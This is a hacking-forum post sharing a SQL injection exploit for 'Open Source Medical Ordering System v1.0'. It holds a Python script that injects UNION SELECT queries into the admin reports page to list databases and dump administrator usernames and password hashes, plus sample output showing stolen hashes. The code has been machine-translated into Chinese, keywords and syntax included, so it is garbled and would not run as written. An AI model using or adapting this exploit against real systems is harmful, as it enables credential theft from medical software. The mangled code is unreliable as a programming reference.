H

开源医学订购系统v1.0 -sqli

HackApt-37 Team已验证会员

黑客倉庫站長

贡献: 83%
#利用标题:开源医学订购系统V1.0 -SQLI
#作者: OnurKarasalihoğlu
#日期: 27/02/2024
#示例用法
%python3 omos_sqli_exploit.py https://target.com
可用数据库:
1。信息_schema
2。OMOSDB
请选择要使用的数据库(输入号码): 2
您选择了: OMOSDB
提取的管理用户数据:
1 |管理员|管理员| | 0192023A7BBD73250516F069DF18B500 |行政
2 |约翰|史密斯| D | 1254737C076CF867DC53D60A0364F38E | JSMITH
'''
导入请求
导入
导入系统
def fetch_database_names(域):
URL=f'{domain}/admin/?page=reportsdate=2024-02-22'%20Union%20 All%20select%20 null,null,Null,Null,Null,Null,Null,Concat(' enforsec',json_arrayagg(concat_ws(',',shema_name)),'enforsec')%20 from%20information_schema.schema.schemat-%20-'
TRY:
#HTTP请求
响应=requests.get(url)
response.raise_for_status()#4xx和5xx请求的异常
#数据提取
模式=re.compile(r'enforsec \ ['(。*?)'\] enforsec')
deftracted_data=pattern.search(worlds.text)
如果提取了_data:
databases=extract_data.group(1).split(',')
数据库=[db.replace(''','')在数据库中的数据库]
打印('可用数据库:')
对于我,枚举中的db(数据库,start=1):
print(f'{i}。{db}')
#用户应该选择OMOS数据库
选择=int(输入('请选择要使用的数据库(输入号码):')))))
如果0选择=len(数据库):
selected_db=数据库[选择-1]
打印(f'you selected: {selected_db}')
fetch_data(域,selected_db)
其他:
打印(“无效选择。”)
其他:
打印(“没有提取数据。”)
除了请求。
print(f'http请求失败: {e}')
def fetch_data(域,database_name):
URL=f'{domain}/admin/?page=reportsdate=2024-02-22'%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,NULL,CONCAT('enforsec',JSON_ARRAYAGG(CONCAT_WS(',',type,firstname,lastname,middlename,password,username)),'enforsec') FROM {database_name} .users ----'
TRY:
#HTTP请求
响应=requests.get(url)
response.raise_for_status()#4xx和5xx请求的异常
#数据提取
模式=re.compile(r'enforsec \ [(。*?)\] enforsec')
deftracted_data=pattern.search(worlds.text)
如果提取了_data:
打印(“提取的管理用户data:')
data=extract_data.group(1)
行=data.split('','')
对于ROWS:中的行
clean_row=row.replace(''','')
user_details=clean_row.split(',')
打印('|'.join(user_details))
其他:
打印(“没有提取数据。”)
除了请求。
print(f'http请求失败: {e}')
def main():
如果Len(sys.argv)!=2:
打印('USAGE: PYTHON3 OMOS_SQLI_EXPLOIT.PY域')
sys.exit(1)
fetch_database_names(sys.argv [1])
如果name=='__ -Main __':
主要的()
 
后退
顶部